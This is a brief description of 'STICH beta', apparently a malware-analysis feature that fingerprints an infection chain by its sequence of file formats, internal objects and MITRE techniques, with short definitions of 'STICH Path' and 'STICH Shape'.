STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
